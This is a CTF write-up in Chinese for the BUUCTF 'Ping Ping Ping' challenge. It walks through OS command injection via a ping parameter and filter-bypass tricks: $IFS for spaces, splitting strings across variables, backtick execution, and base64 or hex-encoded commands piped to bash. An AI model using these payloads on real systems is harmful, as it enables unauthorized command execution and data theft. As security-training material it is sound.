使用内联执行可以将` `内的输出作为前面命令的输入
所以cat$IFS$1`ls`也相当于cat falg.php;cat index.php
通过变量赋值,再进行拼接,即可进行绕过
如:$a=fl;$b=ag;cat $a$b.php
payload1;a=ag.php;b=fl;cat$IFS$1$b$a
Linux下,绕过空格有
${IFS} cat${IFS}flag.txt
$IFS$1 cat$IFS$1flag.txt
$IFS cat$IFSflag.txt
< cat
<> cat<>flag.txt
{cat flag.php}
%20 cat%20flag.txt
%09 cat%09flag.txt
\ 反斜杠 ca\t fl\ag.txt
'' 单引号 cat fl''ag.txt
`` 反引号 cat$IFS$1`ls`
base64:
bash和sh是用来执行命令的,
echo YWJjZGU=|base64 -d //打印出来abcde
echo Y2F0IGZhbGcucGhw|base64 -d|bash //cat flag.php
echo Y2F0IGZhbGcucGhw|base64 -d|sh //cat flag.php
hex编码绕过:
echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php
unicode编码
$(printf “\154\163”) //ls
$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php
题目来源:BUUCTF [GXYCTF2019]Ping Ping Ping
拿到题目
我们用 ?ip=127.0.0.1;ls
我们再用命令 ?ip=127.0.0.1;cat flag.php
发现空格space被过滤掉了,我们可以尝试绕过空格
发现用${IFS}$命令也不行,那我们尝试用其他方法
发现过滤了{}符号symbol,于是我们用$IFS$命令
发现过滤了flag字符
那我们就尝试访问index.php
发现过滤了很多符号
如:
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"
那我们采用变量赋值的方法绕过
payload:?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看源码得到
其他方法:
内联执行绕过(将后面命令的输出作为前面命令的输入)
payload:?ip=127.0.0.1|cat$IFS$1`ls`
Base64编码绕过
payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo Y2F0IGZhbGcucGhw|base64 -d|sh
类似题目解题方法总结
- cat fl* 用*匹配任意
- cat fla* 用*匹配任意
- ca\t fla\g.php 反斜线绕过
- cat fl''ag.php 两个单引号绕过
- echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
- //base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
-
- echo "63617420666c61672e706870" | xxd -r -p | bash
- //hex编码绕过(引号可以去掉)
-
- echo "63617420666c61672e706870" | xxd -r -p | sh
- //sh的效果和bash一样
-
- cat fl[a]g.php 用[]匹配
-
- a=fl;b=ag;cat $a$b 变量替换
- cp fla{g.php,G} 把flag.php复制为flaG
- ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的